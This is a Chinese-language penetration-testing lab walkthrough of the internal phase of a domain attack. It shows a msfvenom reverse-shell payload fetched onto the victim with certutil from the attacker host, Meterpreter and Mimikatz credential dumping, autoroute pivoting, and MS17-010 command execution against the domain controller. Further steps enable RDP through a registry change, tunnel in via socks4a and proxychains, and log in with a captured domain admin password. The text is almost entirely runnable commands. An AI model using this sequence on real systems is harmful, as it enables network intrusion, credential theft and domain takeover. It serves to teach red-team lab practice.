主要記錄拿到Shell后再反彈MSF Shell、Mimikatz抓取密碼以及登錄域控等內網部分。前面漏洞環境搭建及打點等不作記錄,可查看參考文章。
環境
- Kali:
192.168.8.128,攻擊機 - Win7:
- Web服務器,
192.168.8.129 - 域用戶
stu1.god.org,192.168.52.143 - Win2003:域控制器
owa.god.org,192.168.52.138
反彈Shell
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻擊機IP> lport=<攻擊機監聽端口> -f exe -o win.exe
$ python -m SimpleHTTPServer 8080
$ certutil.exe -urlcache -split -f http://<攻擊者IP>:8080/win.exe
$ msfconsole
msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost <攻擊者IP>
msf5 exploit(multi/handler) > set lport <攻擊機監聽端口>
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on <攻擊者IP>:<攻擊機監聽端口>
$ win.exe
$ getsystem
meterpreter > run post/windows/gather/smart_hashdump
- 獲取Hash不全,下面使用Mimitakz再次抓取
MSF-Mimikatz
MSF中自帶mimikatz模塊(需要Administrator權限或者System權限),且同時支持32位和64位的系統。但是該模塊默認是加載32位的系統,若目標主機是64位,直接默認加載該模塊會導致很多功能無法使用。
進程遷移
64位系統需要將Meterpreter進程遷移到一個64位程序的進程中,才能加載mimikatz并且查看系統明文。并且需要遷移到權限為NT AUTHORITY\SYSTEM的進程,因為進程遷移后meterpreter的權限是遷移進程的權限。
meterpreter > sysinfo # 查看位數
meterpreter > ps # 查看進程
meterpreter > migrate <PID> # 進程遷移
meterpreter > load mimikatz # 加載Mimikatz模塊
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
抓取明文密碼
- 利用
sekurlsa模塊下的searchPasswords功能抓取明文密碼
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
Mimikatz.exe
meterpreter > upload /<path>/mimikatz.exe
meterpreter > shell
$ mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords
橫向滲透
meterpreter > shell
$ net time /domain
meterpreter > run autoroute -s 192.168.52.0/24
- 使用NetBIOS協議掃描域網段
- 掃描到OWA的IP地址為
192.168.52.138 - 其實完整靶場應該還有一臺域用戶Win2003,這里沒開
meterpreter > background # 后臺掛起Session
msf5 exploit(multi/handler) > use auxiliary/scanner/netbios/nbname
msf5 auxiliary(scanner/netbios/nbname) > set rhosts 192.168.52.0/24
msf5 auxiliary(scanner/netbios/nbname) > run
MS17-010
meterpreter > background # 后臺掛起Session
msf5 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
- 可能存在MS17-010,使用
ms17_010_command模塊嘗試執行系統命令
msf5 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf5 auxiliary(admin/smb/ms17_010_command) > set command whoami
msf5 auxiliary(admin/smb/ms17_010_command) > run
- 確定存在該漏洞,繼續使用
ms17_010_command模塊開3389端口
msf5 auxiliary(admin/smb/ms17_010_command) > set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
msf5 auxiliary(admin/smb/ms17_010_command) > run
遠程桌面
- 使用
auxiliary/server/socks4a模塊進行代理
msf5 auxiliary(admin/smb/ms17_010_command) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost <攻擊機IP>
msf5 auxiliary(server/socks4a) > run
- 然后利用終端代理工具
Proxychains-Ng進行遠程登錄,(Proxychains-Ng配置可參考這篇文章),這里還需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks4 <攻擊機IP> 1080
- 使用
rdesktop命令打開遠程桌面,使用前面獲取到的域管賬號進行登錄 God\Administratoshongrisec@2019.
$ proxychains rdesktop 192.168.52.138